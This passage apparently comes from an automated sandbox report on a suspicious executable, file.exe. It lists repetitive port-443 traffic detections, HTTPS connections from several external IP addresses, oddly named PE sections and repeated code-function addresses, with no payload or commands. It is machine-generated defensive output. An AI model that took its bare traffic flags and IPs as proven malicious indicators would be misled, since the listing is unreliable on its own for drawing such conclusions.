Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.10:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.10:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.10:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.10:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.10:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.10:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.10:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.10:49983 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B74B97	1_3_00B74B97
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
